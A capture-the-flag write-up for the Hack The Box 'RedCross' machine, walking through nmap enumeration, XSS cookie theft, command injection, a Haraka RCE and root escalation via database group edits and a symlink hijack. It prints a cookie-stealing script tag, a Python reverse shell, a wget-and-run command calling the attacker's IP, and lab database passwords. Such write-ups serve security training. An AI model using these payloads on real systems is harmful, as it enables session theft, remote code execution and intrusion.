Info

Name: RedCross
IP Address: 10.10.10.113
Operating System: Linux
Difficulty: 6.3/10
Base Points: 30

Enumeration

As always we start with a nmap scan to determine which ports are open and what services we're up against.

nmap -sC -sV 10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 00:04 CEST
Nmap scan report for 10.10.10.113
Host is up (0.030s latency).
Not shown: 997 filtered ports
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
|   2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
|   256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
|_  256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
80/tcp  open  http     Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open  ssl/http Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
| Not valid before: 2018-06-03T19:46:58
|_Not valid after:  2021-02-27T19:46:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
|   http/1.1
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have three ports open: 22, 80 and 443. We also notice that nmap failed to follow a redirect to intra.redcross.htb and that the host is known as redcross.htb, so before we proceed, let's edit /etc/hosts.

10.10.10.113    redcross.htb
10.10.10.113   intra.redcross.htb

After this is done we can browse to redcross.htb.

We can now use openssl to see if we find some useful information.

root@kali:~# openssl s_client -connect redcross.htb:443
CONNECTED(00000003)
depth=0 C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
verify return:1
---
Certificate chain
 0 s:C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb
   i:C = US, ST = NY, L = New York, O = Red Cross International, OU = IT, CN = intra.redcross.htb, emailAddress = penelope@redcross.htb

We have a mail address, and potentially a username (penelope), in the SSL certificate. Awesome! Let's continue.

Looking at the web page again we see a contact form. We could potentially be able to exploit it.
At this point I tried several different method before I found one that worked.

By setting up a web server with python -m SimpleHTTPServer 80 and adding some specially crafted javascript in the "contact phone or email" input we are able to hijack a session.

Javascript

<script>new Image().src="http://10.10.14.11/"+document.cookie;</script>

Explanation: When someone opens our contact request, the web page tries to include our "image".
The client will basically try and include the image from my machine and also send me the cookie for that specific page.

So the request will look like this: http://attacker-ip/SESSION.

Our listener

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.113 - - [13/Apr/2019 00:47:30] code 404, message File not found
10.10.10.113 - - [13/Apr/2019 00:47:30] "GET /PHPSESSID=6fl7e04qort3fud7qvamum1l71;%20LANG=EN_US;%20SINCE=1555109249;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -

Sweet, it worked!
Someone "viewed" contact request and our XSS payload and we were able to hijack their session: PHPSESSID=6fl7e04qort3fud7qvamum1l71.
We can now "add" that session to our web requests and basically impersonate that user.

Initial Foothold

Let's log in and find out who the session belongs to.

For this I use Burp Suite and match and replace on the Request Header.

Refreshing the web site gives us the following response:

We have successfully logged in as admin!

Looking through the messages this one stands out:

Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! 
Maybe a virus?

So there's an admin webpanel as well? Let's add admin.redcross.htb to /etc/hosts and see if we can access it.

Checking out "Network Access" we see the following:

After poking around a bit we find a command injection vulnerability in the Deny functionality.

Using a python reverse shell we are able to get an initial foothold.

root@kali:~# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.12.135] from (UNKNOWN) [10.10.10.113] 36050
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;hostname
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
redcross

Trying to cat user.txt gives us a permission denied since the flag is owned by penelope.
Looking for proccesses owned by penelope we see the following:

www-data@redcross:/home/penelope$ ps aux | grep penelope
penelope  1384  0.0  4.4 994728 44960 ?        Ssl  18:22   0:01 node /usr/bin/haraka -c /home/penelope/haraka
www-data  7964  0.0  0.0  11112   964 pts/1    S+   19:30   0:00 grep penelope

And doing a searchsploit for haraka reveals that there's and RCE vulnerability. Looking at the exploit we see that we need a port for the SMTP connection.

After a bit more enumeration I found that if I whitelist my IP address on the "Network Access" and do another nmap scan we get the following results:

root@kali:~# nmap  10.10.10.113
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 16:20 CEST
Nmap scan report for redcross.htb (10.10.10.113)
Host is up (0.030s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
1025/tcp open  NFS-or-IIS
5432/tcp open  postgresql

Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds

So a slight modification of the exploit code from exploit-db makes us able to exploit Haraka. Basically just changing
s = smtplib.SMTP(mailserver,25) to s = smtplib.SMTP(mailserver,1025)

First we create a reverse shell which will be executed.

root@kali:~# cat python_rev_shell.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.135",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Now we setup two listeners on our machine.

  1. A web server so Haraka can download the python reverse shell.
  2. The listener we want penelope to connect back to.

Then we run the following command on Redcross.

python haraka_exploit.py -c "wget -O /dev/shm/r.py 10.10.12.135/python_rev_shell.py;/usr/bin/python /dev/shm/r.py" -t penelope@redcross.htb -m localhost

And voila! We have escalated to penelope!

Finally we can cat user.txt

penelope@redcross:/home/penelope$ cat user.txt
ac899...329bf

Privilege Escalation

Going back to the admin page there's a function to add virtual users.

Adding a user gives us a random password.

We can ssh into the box with this user, but we are then jailed to /var/jail/home.

After looking around in the /var/www directory we find some usernames and passwords for a Postgresql database.

Logging in to this database as user unixusrmgr with password dheu%7wjx8B& we find the table passwd_table.

penelope@redcross:/var/www/html/admin/pages$ psql --host 127.0.0.01 --db unix --user unixusrmgr --password
Password for user unixusrmgr: 
psql (9.6.7)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

unix=> \dt
            List of relations
 Schema |     Name     | Type  |  Owner   
--------+--------------+-------+----------
 public | group_table  | table | postgres
 public | passwd_table | table | postgres
 public | shadow_table | table | postgres
 public | usergroups   | table | postgres
(4 rows)

unix=> select * from passwd_table;
 username |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
----------+------------------------------------+------+------+-------+----------------+-----------
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
 charles  | $1$63babaa1$OF.c/aAILCp3bGH6b7Gu// | 2020 |    0 |       | /              | /bin/bash
 test     | $1$aeTxzMBk$AJQrjed41NkwlOlpvcwkF/ | 2021 | 1001 |       | /var/jail/home | /bin/bash
(3rows)

unix=>

So, what if we can change this table? And maybe change uid, gid and homedir?

Turns out we can't change the uid:

unix=> update passwd_table set uid=0 where username='test';
ERROR:  permission denied for relation passwd_table

But we can change gid and homedir.

Intended root

If we add ourself to group 27 (sudo), we can probably sudo su and get the root flag that way.
Let's try!

unix=> update passwd_table set gid=27, homedir='/' where username='test';
UPDATE 1
unix=> select * from passwd_table;
 username |               passwd               | uid  | gid  | gecos |    homedir     |   shell   
----------+------------------------------------+------+------+-------+----------------+-----------
 tricia   | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 |       | /var/jail/home | /bin/bash
 test     | $1$KKzT04Xu$k/M8/711vi2.q58VoUDLq0 | 2021 |   27 |       | /              | /bin/bash
(2 rows)
root@kali:~# ssh test@10.10.10.113
test@10.10.10.113's password:
Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
test@redcross:/$ id
uid=2024(test) gid=27(sudo) groups=27(sudo)
test@redcross:/$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for test:
Matching Defaults entries for test on redcross:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User test may run the following commands on redcross:
    (ALL : ALL) ALL
test@redcross:/$ sudo su
root@redcross:/# cd /root
root@redcross:~# ls
bin  Haraka-2.8.8  root.txt
root@redcross:~# cat root.txt
892a1...717a4

Unintended root

One of many unintended ways is to add ourself to the root group (GID 0), get access to /root and find a directory called bin. Then we need to analyze a python script and edit a symlink in order to get code execution as root.

After changing the GID for our user to 0, we get access to /root.
Looking at this directory we find a file called redcrxss.py.

#!/usr/bin/python2.7
import mysql.connector
import urllib
import random
import string
import time
import os

url="https://admin.redcross.htb/9a7d3e2c3ffb452b2e40784f77723938/573ba8e9bfd0abd3d69d8395db582a9e.php?"

def launchXSS(xss):
    randomname=''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase+string.digits) for _ in range(8))
    temppath="/root/bin/tmp/"
    fn=temppath+randomname+'.js'
    phantom="/usr/local/bin/phantomjs"
    phjs ='"use strict";\n'
    phjs+="var page = require('webpage').create();\n"
    phjs+="page.open('"+xss+"', function(status) {\n"
    phjs+='  console.log("Status: " + status);\n'
    phjs+='  if(status === "success") {\n'
    phjs+="    page.render('/tmp/example.png');\n"
    phjs+="  }\n"
    phjs+="  phantom.exit();\n"
    phjs+="});\n"

    f=open(fn,'wb')
    f.write(phjs)
    f.close()
    command=phantom+" --ignore-ssl-errors=true "+fn
    print command
    os.system(command)
    os.remove(fn)

while 1:
    cnx = mysql.connector.connect(user='dbcross', password='LOSPxnme4f5pH5wp', host='127.0.0.1', database='redcross')
    cursor = cnx.cursor(dictionary=True)
    query = ("SELECT id, subject, body, cback FROM requests")
    cursor.execute(query)
    res=cursor.fetchall()
    if(len(res)>0):
        for r in res:
            rid=r['id']
            xss=urllib.urlencode({'x':r['cback']})
            query = ("DELETE FROM requests WHERE id = %s")
            cursor.execute(query,(rid,))
            cnx.commit()
            payload=url+xss
            launchXSS(payload)
        cnx.close()
     else:
       print "Sleeping 10 secs..."
       time.sleep(10)

Analyzing this file we see that this file is "emulating" the user clicking our XSS payload from earlier. Every 10 seconds the script connects to a database and try to fetch requests coming from the contact form.
If the script finds a request in the database it will give us a callback if our XSS is "correct".

But if we look closely we see that the script is executing /usr/local/bin/phantomjs. But there's one big problem...

unintended-root@redcross:~/bin$ ls -la /usr/local/bin/phantomjs
lrwxrwxrwx 1 root staff 47 Jun  6  2018 /usr/local/bin/phantomjs -> /opt/phantomjs-2.1.1-linux-x86_64/bin/phantomjs

... The file is symlinked and the group staff can edit the symlink.

So after discovering this we create a new user with GID 50 (staff) using the "Add virtual user" functionality from admin.redcross.htb and create /tmp/give-shell.sh containing our reverse shell and make this file executable.
Then we change the symlink to point to our file.

unintended-root@redcross:/$ ln -sfn /tmp/give-shell.sh /usr/local/bin/phantomjs
unintended-root@redcross:/$ ls -la /usr/local/bin/phantomjs 
lrwxrwxrwx 1 intended-root staff 18 Apr 12 21:59 /usr/local/bin/phantomjs -> /tmp/give-shell.sh

All we need to do now is setup a listener on our machine, go back to the contact form, click "contact" and wait a couple of seconds.

root@kali:~# nc -lvnp 31337
listening on [any] 31337 ...
connect to [10.10.12.135] from (UNKNOWN) [10.10.10.113] 46952
/bin/sh: 0: can't access tty; job control turned off
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
892a1...717a4

Further Reading

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)

https://baptiste-wicht.com/posts/2012/09/linux-symbolic-links-hard-links.html